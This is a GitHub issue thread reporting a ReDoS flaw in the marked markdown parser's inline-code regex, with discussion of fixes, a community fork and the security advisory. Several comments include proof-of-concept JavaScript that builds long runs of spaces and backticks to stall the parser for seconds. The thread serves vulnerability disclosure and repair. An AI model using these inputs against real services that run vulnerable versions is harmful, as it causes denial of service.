Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Vulnerable Regular Expression #937

Closed
cristianstaicu opened this issue Sep 7, 2017 · 25 comments
Closed

Vulnerable Regular Expression #937

cristianstaicu opened this issue Sep 7, 2017 · 25 comments
Labels
L1 - broken Valid usage causes incorrect output OR a crash AND there is no known workaround for the issue

Comments

@cristianstaicu
Copy link

The following regular expression used in parsing the input markdown content is vulnerable to ReDoS:

/^(`+)\s*([\s\S]*?[^`])\s*\1(?!`)/

The slowdown is very serious (for 1,000 characters around 6 seconds matching time). I would suggest one of the following:

  • remove the regex,
  • anchor the regex,
  • limit the number of characters that can be matched by the repetition,
  • limit the input size.

If needed, I can provide an actual example showing the slowdown.

@zmillman
Copy link

fwiw, tough-cookie addressed a similar issue with a limit on the matched number of characters: salesforce/tough-cookie#97

@prantlf
Copy link

prantlf commented Sep 25, 2017

Adapting the code sample from the salesforce/tough-cookie#97 exploit shows, that having a lot of space characters in the input expression can make the formatting 1000x slower. Formatting an inline code expression takes 5s, if there are 50,000 spaces inside it. If there are 50,000 other characters there, formatting takes just 5ms.

function genstr(len, chr) {
  var result = '';
  for (i=0; i<=len; i++) {
    result = result + chr;
  }
  return result;
}

var marked = require('marked');
var input =  '`x' + genstr(50000, ' ') + 'x`'; 
var start = process.hrtime();
var output = marked(input);
var end = process.hrtime(start);

console.info('Execution time (hr): %ds %dms', end[0], end[1] / 1000000);

The original solution of salesforce/tough-cookie#97 was limiting the repetition to maximum 256 occurrences, which was probably enough for real-world scenarios, but it didn't comply with the specification in RFC 2965. They probably did it as an emergency to close the security issue. They removed the limit in the final solution: salesforce/tough-cookie/pull/98.

@prantlf
Copy link

prantlf commented Sep 25, 2017

The sample code can be reduced to test the single regular expression:

function genstr(len, chr) {
  var result = '';
  for (i=0; i<=len; i++) {
    result = result + chr;
  }
  return result;
}

var input =  '`x' + genstr(50000, ' ') + 'x`'; 
var regex = /^(`+)\s*([\s\S]*?[^`])\s*\1(?!`)/;
var start = process.hrtime();
var output = input.replace(regex, '<code>$2</code>');
var end = process.hrtime(start);

console.info('Execution time (hr): %ds %dms', end[0], end[1] / 1000000);

@UziTech
Copy link
Member

UziTech commented Oct 10, 2017

seems like trimming the code after the regexp reduces the time from ~5s to <1ms #945

@ghost
Copy link

ghost commented Oct 16, 2017

Is this getting fixed? I'm getting security warnings from nsp check in our builds now. I'll have to use another module if not.

@jwalton
Copy link

jwalton commented Oct 16, 2017

It has been nine months since the last activity on this repo. -_-

@ghost
Copy link

ghost commented Oct 17, 2017

Yeah I've decided to use another module.

@UziTech
Copy link
Member

UziTech commented Oct 17, 2017

I added the pull request for the fix to the 8fold fork: https://github.com/8fold/marked/pull/1

Hopefully we won't need to resort to a fork but @chjj seems to be letting this go.

@joshbruce
Copy link
Member

Merged. Looking for collaborators who wouldn't mind helping manage PRs and whatnot over at 8fold/marked...don't want to be stop-gap to the flow.

Is this worthy of a patch release to 0.3.8 of 8fold/marked?

@kunagpal
Copy link

@joshbruce Yes, this should unblock a ton of people as far as NSP errors are concerned.

@joshbruce
Copy link
Member

@UziTech - If nothing else, maybe @chjj can transfer the project to someone in the community. I haven't heard anything from @chjj regarding the future of the base project, but 8fold would accept the transfer to maintain the package name.

@joshbruce
Copy link
Member

https://www.npmjs.com/package/8fold-marked - The deed is done. Please confirm.

harryi3t added a commit to postmanlabs/postman-sandbox that referenced this issue Oct 26, 2017
sdk PR: postmanlabs/postman-collection#484
reason for switching: markedjs/marked#937 (Vulnerable Regular Expression)
harryi3t added a commit to postmanlabs/postman-sandbox that referenced this issue Oct 26, 2017
sdk PR: postmanlabs/postman-collection#484
reason for switching: markedjs/marked#937 (Vulnerable Regular Expression)
harryi3t added a commit to postmanlabs/postman-sandbox that referenced this issue Oct 26, 2017
sdk PR: postmanlabs/postman-collection#484
reason for switching: markedjs/marked#937 (Vulnerable Regular Expression)
@joshbruce joshbruce added the L1 - broken Valid usage causes incorrect output OR a crash AND there is no known workaround for the issue label Dec 1, 2017
This was referenced Dec 1, 2017
@fboes
Copy link

fboes commented Dec 5, 2017

@cristianstaicu Does this also fix https://nodesecurity.io/advisories/531 ?

@UziTech
Copy link
Member

UziTech commented Dec 5, 2017

This has not been fixed yet in the node module. @joshbruce we should get #958 pushed out so /lib/marked.js is up to date with marked.min.js

@joshbruce
Copy link
Member

@UziTech: Agreed. Two things stopping that.

  1. The merge conflicts.
  2. "We" introduced one failing test.
  3. There is a test that appears to have been failing from a while back.

At work right now, if you have time, are you able to check out the branch and handle the merge conflicts. If the two failing tests aren't checking anything critical, I'm with doing the release as long as we add an issue to fix those tests.

This would be fixed if we used a solution per #967

@evilpacket
Copy link
Contributor

@UziTech @joshbruce reading through this it appears that 0.3.7 addresses this particular issue is that correct? I wanted to update our nsp advisory to reflect that it's been fixed if that's the case.

@UziTech
Copy link
Member

UziTech commented Dec 11, 2017

I believe 0.3.7 only fixes marked.min.js not the npm package. @joshbruce if you could merge #945 and submit a new release that would fix the security issue while we work on getting the tests working in #958

@joshbruce
Copy link
Member

@evilpacket: I would love that! Are there any tests you can run on your end to verify?

The package has gone a little stale and I'm not sure if this one merge fixes all of the XSS vulnerabilities.

See #956

@evilpacket
Copy link
Contributor

I don't have the original poc, I could probably figure it out based on the above but I think we could short cut that with some info from Cristian. @cristianstaicu as you had the original poc can you help with this?

@joshbruce
Copy link
Member

@evilpacket: #958 - Forgot about this one...seen a lot of tickets. :)

@cristianstaicu
Copy link
Author

Hey guys,

It's great to see that the reported issues are getting fixed. Here is a PoC for the reported slowdown:

var marked = require('marked');
var av = genstr(8, "`") + genstr(1500, " ") + genstr(11, "`")

measureTime(function() {
    var agent = marked(av); 
});

function genstr(len, chr) {
    var result = "";
    for (i=0; i<=len; i++) {
        result = result + chr;
    }
    return result;
}

function measureTime(f, print) {
    var start = process.hrtime();
    f();
    var end = process.hrtime(start);
    if (print === false) {

    } else {
        //console.log(end);
        console.info("Execution time (hr): %ds %dms", end[0], end[1] / 1000000);
    }
    return end;
}

@vogloblinsky
Copy link

Hi guys,

Is it possible to notify Node Security Platform that this issue is closed ?

https://nodesecurity.io/advisories/531

Thanks

@joshbruce
Copy link
Member

@vogloblinsky: I don't know how to do this. And I'm not sure how to test it (se previous conversation with @evilpacket).

Could you take the reins? 0.3.9 should take care of all the known XSS vulnerabilities, but I don't know of anyone in the community who can or knows how to confirm it. @matt- & @UziTech - Thoughts?

@vogloblinsky
Copy link

@joshbruce
nodesecurity updated : https://nodesecurity.io/advisories/531

@joshbruce
Copy link
Member

Awesome! Thank you so much.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
L1 - broken Valid usage causes incorrect output OR a crash AND there is no known workaround for the issue
Projects
None yet
Development

Successfully merging a pull request may close this issue.

10 participants